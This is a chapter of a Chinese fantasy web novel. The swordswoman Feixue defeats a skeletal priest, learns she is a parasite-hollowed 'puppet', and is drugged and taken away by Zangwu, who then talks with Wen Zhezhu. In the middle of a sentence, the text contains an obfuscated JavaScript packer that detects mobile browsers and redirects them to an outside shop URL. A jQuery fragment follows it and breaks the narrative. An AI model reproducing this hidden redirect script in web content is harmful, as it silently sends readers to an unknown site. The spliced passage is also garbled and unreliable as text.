12.空心
    绯雪给她瞥了个“闭嘴”的冷冽眼神,身形一跃,电光火石间与祭司过上招,剑法利落精妙,处处直袭要害。

    法阵与剑锋相撞,火光四溅硝烟弥漫,兵戎震响呜鸣之声!

    祭司显然不是一位习武之人,跟不上绯雪干练迅疾的身法,几招下来便展露拙貌。他在对阵中连连后退,凭借瞬间聚成的封印阵法作为防护盾,才勉强抵挡住绯雪一时。

    鳞鬼们也加入缠斗,前后夹击绯雪,使拉锯战变得漫长几分。

    陷入僵局的祭司仍逞硬气,道:“我等身负皇权之命,以无上之躯驻守边疆,守万世万代安定!”

    山崩地裂之声再临,就从绯雪脚下的地底传来,比前两次震动还要洪亮,惊心动魄。

    近听便觉地震之音似号角吹响的呜鸣声。

    祭司的话证实绯雪的猜想:“听罢,是凛雷号角的圣鸣!它是战火降临的预言,你们果然是不详之人,是带来恶兆祸乱的屠戮者。”

    绯雪不屑反驳他文绉绉的指控,专注于打斗本身。

    不知何时开始,一丝丝寒意自地底翻涌上来,无声无息。半晌洞窟内部就变了天,白茫茫一片,壁面结出一层薄薄的冰霜,连鳞鬼的毒雾也冻得凝滞成团。

    不少鳞鬼表面覆着白霜,动作变得迟缓起来。

    绯雪呼吸间带有暖意的白气,在祭司看来,她的挥剑速度也肉眼可见变得缓滞,能够轻易判断其攻击轨迹。他紧抓这次难得的机会,白骨五指成爪,黑熊掏心般猛朝绯雪攻去。

    “你总算露出破绽了!”

    阴爪突地刺破胸腔,然而预料之中的飞溅血色没有出现。“绯雪”化作霜雪,在他面前飘扬散去。

    是幻影!

    祭司呆滞一刹,这才意识到是自己中计了。

    他转念想聚起封印阵,可为时已晚,就等此刻的绯雪迅速杀出一剑,凌锋削铁如泥,祭司的两条骨臂霎时砍断!

    她反身一掌拍去,祭司尸骨骤然飞出几丈远,洞壁砸出巨坑,细石碎冰尽落!

    极寒温度下,真正的绯雪没有出现鳞鬼畏冷迟缓的情况,身形反倒更快,如鱼得水。这是自然的,绯雪与闻折竹同拜一师,精通的都是寒冰法术,在冰天雪地中占尽优势。

    祭司感觉到自己的骨架如风化的琉璃盏,将碎不碎。他踉跄起身,残破的衣袍在风雪中摇曳,冰冷空洞的骨孔盯着绯雪,似是发现了重大之事:

    “原来是空心俑,难怪,难怪……一个无主的俑竟能引起凛雷号角的警示。”

    “空心俑?”绯雪古怪道。

    制造空心俑同样是《泯》古籍的秘术之一,是令特殊的蛊虫蚕食宿主的灵魂,将人的躯体制成兵人傀儡的空壳,该空壳则名为“空心俑”。

    本不打算插手的藏乌指尖一滞,眼神微乎其微地低暗。洞窟周遭的烟气一念之间凝聚,以难以想象的速度扼掐祭司的脖颈,活生生将他拎至半空,动弹不得。

    藏乌柔声轻言,却给人凉薄胁迫之感:“想要讲故事的话就下次吧,你也该闭目好好休息了。”

    祭司的魂音萦绕在洞窟,嗤之:“可笑,九流威逼之言安能使我等折腰,我……啊啊啊啊啊火!火!!”

    他逞强的话未完全落地,藏乌的烟气就化作熊熊烈火将他吞并。任何法阵、武技在这里都毫无抵御之能,神火来得猛烈,沿着无形的线燃至洞窟上空与祭坛,仿佛翻腾跃动的火龙,焚尽看不见与看得见的事物。

    鳞鬼巢穴须臾间化为冰与火的炼狱。

    火星迸发的噼啪声中,绯雪好似听见祭司灵魂痛苦的尖啸声,在凌空中炸开了花。鳞鬼们对神火有着天生的畏惧,要么蜷缩一团,要么四散奔逃。

    幸免于火的验魂石滚落地面,咕噜噜打了个转,停在绯雪的跟前。

    绯雪无声,她的脸在神火的映照下一明一暗,烈焰火光为她的轮廓镀上光边,是血一样的颜色。她弯腰拾起验魂石,石头随即出现反应——

    验魂石不再是平日静默的黑,也没有想象中健康无瑕疵的白,而是显出暗沉的灰光,就像风中摇摆不定的残烛,轻轻一吹就能熄灭,恢复黑暗。

    祭司的话犹在她耳边回响,“原来是空心俑”——是呀,她不该抱有侥幸。

    丹度生将她从南境暖雪中挖出,怎么可能是“救她”这么简单?一个恶事做尽又热衷养蛊的药宗宗主,怎么会放过她这位送上门的实验体?

    下蛊是理所当然的。

    她会成为“空心俑”,也就是说终有一天,她的灵魂会被蛊虫啃食殆尽。

    绯雪百感交集,望着手中灰暗不明的验魂石,一时间陷入死一样的沉默,甚至没有在意捏着烟杆、靠近过来的藏乌。

    “绯雪。”

    藏乌吸了一口烟,难得唤她的名字,语气听不出情绪。

    绯雪不知她要说什么,下意识回首,岂料扑面而来的是一阵熟悉且醇厚的药烟,飘渺朦胧且带着某种蓄意已久。

    绯雪:“你……!”

    隔着模糊的迷烟,绯雪看不清藏乌的神情。她浑身脱力,思绪不受控制地向下沉,一直坠入腥甜的黑暗。在意识沉睡前,她最后一个念头便是:你们药宗人就爱玩阴的。

    绯雪昏软倒下,利剑顺势“叮当”落地。藏乌伸手轻轻接住她,没有令她沾上一滴地面的腐血。

    “你也是时候跟我回药宗了。”藏乌平和缓缓道,低眸注视绯雪左手臂的伤口,半只手臂已然乌紫一片,“对待不听话的患者,医者只能采用一些强硬手段。”

    巢穴地底又轰然一阵动乱,洞穴随声出现部分坍塌,暴露出或大或小的隧道。自祭坛下方的地底传来血肉破裂声后,所有鳞鬼像被抽离了骨头,一动不动瘫痪在原地,失去所有的行动意志,止不住地哀嚎。

    有人把地底的鳞鬼族心脏打碎了。

    地底飘出越来越多的风雪,藏乌闭眼也能意识到谁来了。她望向原本摆放祭坛的位置,来者在那处捅出个冰窟窿。

    闻折竹终于从错综复杂的巢穴中找到出路,自地底一跃而上。

    迎面撞见藏乌,天生少表情的他罕见地露出一丝疑惑,迟疑一下复命:“长老,仙盟逃犯已击杀四位,仍有一位不知去向。”

    “好,接下来的事我会处理妥当,包括此处

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286488|151748||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的鬼巢,这次又麻烦你了折竹。”

    闻折竹诚实道:“无碍,乐意效劳。”

    没有针锋相对,也没有阴阳怪气。事实上,藏乌给老剑尊下毒的真相仅有极少数人知晓,绝大部分人仍津津乐道着玄乌长老与剑宗的友好关系,认为这是一段美谈。

    闻折竹从小受绯雪和藏乌的照顾,在绯雪“离世”后,依旧与藏乌保持联系,会替这位“外乡姐姐”处理紧急事务。

    闻折竹再少言寡语,藏乌也能轻而易举瞧出他的心思,她问:“有什么事,你可以直说。”

    闻折竹垂眉而答,颇有一种在长辈面前不敢造次的顺从:“囚犯北逃,我曾以为你不会前来。这次是为何?”

    藏乌以为是什么大事,释然一笑:“不过是捉回药宗的逃客罢了。”

    闻折竹抬首注意到昏迷的绯雪,她软绵绵倒在藏乌的怀里,不省人事。

    闻折竹的剑眉蹙起,严肃认真道:“我知药宗有炼蛊害人之术,你也曾是丹度生蛊下的受害者。既然知其苦,又何必去‘苦苦’相传,祸害他人?”

    丹度生曾有过四处抓人炼蛊的恶迹。很明显,闻折竹是误会了藏乌的意思,以为她有样学样,抓人炼蛊。

    藏乌笑着否认:“把我当什么人呢,只是一个伤患从药宗跑出来,我替曳之撵回去而已。”

    闻折竹愣了愣,呆呆道:“哦……”

    这世间居然还存在不愿治病而逃来鳞鬼巢穴的奇人。

    对绯雪身边的人,藏乌总携有几分好感,不由关心一番闻折竹的行踪:“在巢穴久留可不像你,可是遇到什么麻烦了?”

    闻折竹不掩饰:“我迷路了。”

    当时他本在剿杀鳞鬼,可有一只鳞鬼甚是狡猾,在多窟洞穴中肆意穿行,屡屡逃脱他的剑技。在一番追击下,闻折竹可算将它制杀,结果却迷路在错综复杂的地底深处,花了好长时间才找到路。

    藏乌不知该说什么好:“……没带司南?”

    闻折竹直率得单纯:“忘记了。”

    相较于绯雪绝佳的认路能力,闻折竹的认路可谓是差中之差,简而言之就是个“路痴”。

    藏乌不免担忧:“需要我派人送你回剑宗吗?”

    “不了,我自己会回去的。”可惜,闻折竹是个倔强的性子,这一点与某人倒是相似。

    临走之前,闻折竹好心提醒藏乌:“在地底寻路之时,我貌似听到了号角的声响。另外,快到七月半了……”

    七月半,是人间烧纸祭祀过世亲人的日子。修仙界虽没有明文规定,但每年的这个时候,闻折竹总会准备祭品祭祀“逝去的师姐”绯雪。

    “这些年你从来没有去看过师姐,今年也一样吗?”闻折竹每一年都会问出这样的问题,这是他的执着。

    不知怎么,他看见藏乌的眼神微微飘向怀中之人:“你师姐巴不得见不到我。”

    “的确,她说过见到你一定会打爆你的狗头。”闻折竹多么诚实的一个人,说完还默默补充一句,“她的原话。”

    藏乌从来不讨厌闻折竹的坦率,笑了笑:“是啊,我们不见会更好。”